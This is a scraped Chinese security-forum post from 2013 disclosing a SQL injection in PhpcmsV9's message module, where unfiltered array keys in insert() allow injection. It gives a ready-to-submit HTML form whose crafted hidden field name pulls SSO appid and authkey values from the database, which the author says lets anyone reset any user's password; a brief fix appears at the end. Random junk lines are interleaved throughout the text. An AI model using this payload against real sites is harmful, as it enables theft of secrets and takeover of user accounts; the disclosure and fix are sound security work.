中国网络渗透测试联盟
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
[打印本页]
作者:
admin
时间:
2013-2-23 11:33
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
% i4 k6 E, t4 m' j
3 J/ R7 @" V6 p2 L
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
0 Z# `# c6 v7 I! g9 v
5 o9 w7 d( s) q* K/ f
明天再更新下一个漏洞。
2 |5 Z4 m1 `& s+ A! c5 r
详细说明:
( V- k' w! G$ j* o
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
( U/ O8 ~: ^4 i. A: M3 I
1 B( U1 @0 e; U8 \# b! `
$messageid = $this->message_db->insert($_POST['info'],true);
+ V/ F2 H3 C& j
- [3 u, ]0 @: M7 t
/ K$ K" E3 b0 T* a
insert方法是key value的,代码如下:
1 m3 w7 D1 r8 v
* G* f3 O A7 t$ \# t) Q
public function insert($data, $table, $return_insert_id = false, $replace = false) {
M& ~: {0 z, ~4 ~+ N! f* U7 b
if(!is_array( $data ) || $table == '' || count($data) == 0) {
: g1 l/ B; p. w, p% p. b
return false;
7 m% v) D) D+ _6 K
}
- o! p2 C( ^9 J$ y: i
6 {0 V9 n. }0 Y" r
$fielddata = array_keys($data);
7 L, P8 Q1 i' U. N6 S. K4 {( [
$valuedata = array_values($data);
/ _( _1 T4 ?8 d- R, i7 y
array_walk($fielddata, array($this, 'add_special_char'));
- X& Q: ^& W0 J6 B3 h, U
array_walk($valuedata, array($this, 'escape_string'));
* M! a$ _# V6 N2 y8 S7 X
2 h, }. R ?3 ]& F0 e$ k
$field = implode (',', $fielddata);
9 I x `$ I% F. J- G
$value = implode (',', $valuedata);
) r0 W$ q8 W; ]
2 n- I0 L# q4 Z
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
3 R" B, N; j3 Q; R' @6 c
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
, D* p: }* h, a3 w' W: z
$return = $this->execute($sql);
; C( B, J4 h- d2 L9 C
return $return_insert_id ? $this->insert_id() : $return;
" o8 B7 ^5 c0 O+ E! j) p
}
( @6 U1 \2 z2 |+ y
$ b' n/ D- k% n3 J7 \
! |- o8 ]' [# T- [4 k1 s& G
嗯,很遗憾的是
* I4 Y' L3 y" m* {- L
$ h' y# Z) C5 ]5 t
array_walk($fielddata, array($this, 'add_special_char'));
3 s$ i7 k, C2 I2 A9 e \
8 p1 B( \, X o& Z* ~, D& Q
- p! i) w2 D) j1 F: q" r0 ?2 s& i
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
- w4 F+ H- p9 q: Y3 Q* U% e
) q7 s1 b6 `3 v7 ^8 E6 x" {
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
1 W# M( w$ ^3 d+ g+ M, L1 J
' x" v7 n! k, U
漏洞证明:
8 H& v+ K& }, A! I S# i
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
/ s$ F9 X1 D1 m$ E6 R+ P
[attach]200[/attach]
) j% V; w; d# F: F- {! @& D5 ]$ i( }
& v/ W5 E; P: E2 s3 J7 y
表单如下:用户名什么的得自己改一改。
) ^" c, V2 z r$ P
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
2 x# |& _+ k, Q* E; r
<table width="100%" cellspacing="0" class="table_form">
& A6 x7 t+ }8 u' S; Q/ R8 }2 ?
<tr>
( c$ D$ e+ F3 Q% @+ }- l
<th>标 题:</th>
4 P/ y0 L% q% I7 @- Z3 q
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
* f# s7 B6 L8 o' ]
</tr>
/ d+ {" h( v" y* m3 W
<tr>
: W& U' `7 t7 o W9 K# t
<th>内 容:</th>
% e! S2 b! d( t- @. W
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
3 u4 b( H$ R% I, f
</tr>
3 _* ^% Z4 N7 m, I) f' \
<input type="hidden" name="info[replyid]" value="2" />
/ L; D8 h" P4 M
<input type="hidden" name="info[send_to_id]" value="cc" />
6 c* j: Z6 ?/ k" p4 B* L& ]% `
<input type="hidden" name="info[send_from_id]" value="hh">
* [8 N, n# v( a+ W
<!-- 漏洞的利用重点在这里开始 -->
" m' k; D" ]2 {8 |( L
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
+ ~' U% ?* ~* k/ A
<!-- 漏洞的利用重点在这里结束 -->
# L/ x6 d* h8 ?, W; Z
<tr>
p0 T0 K8 ]; K8 g1 u. r
<th>验证码:</th>
0 H& M) _# P6 N* U# O; O7 j8 i8 i
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
) K! l% L/ U" Z0 I
</tr>
3 {8 M, ?1 ]6 Z
<tr>
7 C* j. B( K/ p; i# B
<td></td>
# V) x& ?8 s" x
<td colspan="2"><label>
! P! Z1 \5 w9 o) _8 G n
<input type="submit" name="
dos
ubmit" id="dosubmit" value="确 定" class="button"/>
: n% O. z H( g7 M
</label></td>
- T+ E8 v. Z- H7 e% B
</tr>
3 t( c1 X1 E. S
</table>
8 o. y+ J; q9 p; _
</form>
9 Z# b+ k4 a5 t' C
在add_special_char函数内对key做过滤就可以了。
: c+ {9 ^+ |9 ^6 @
9 Z& I4 Q( b- E9 R! O- E% {
. n+ g0 d, f9 d- D% ~
, u+ C1 W. v& c/ e7 }: j) U
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2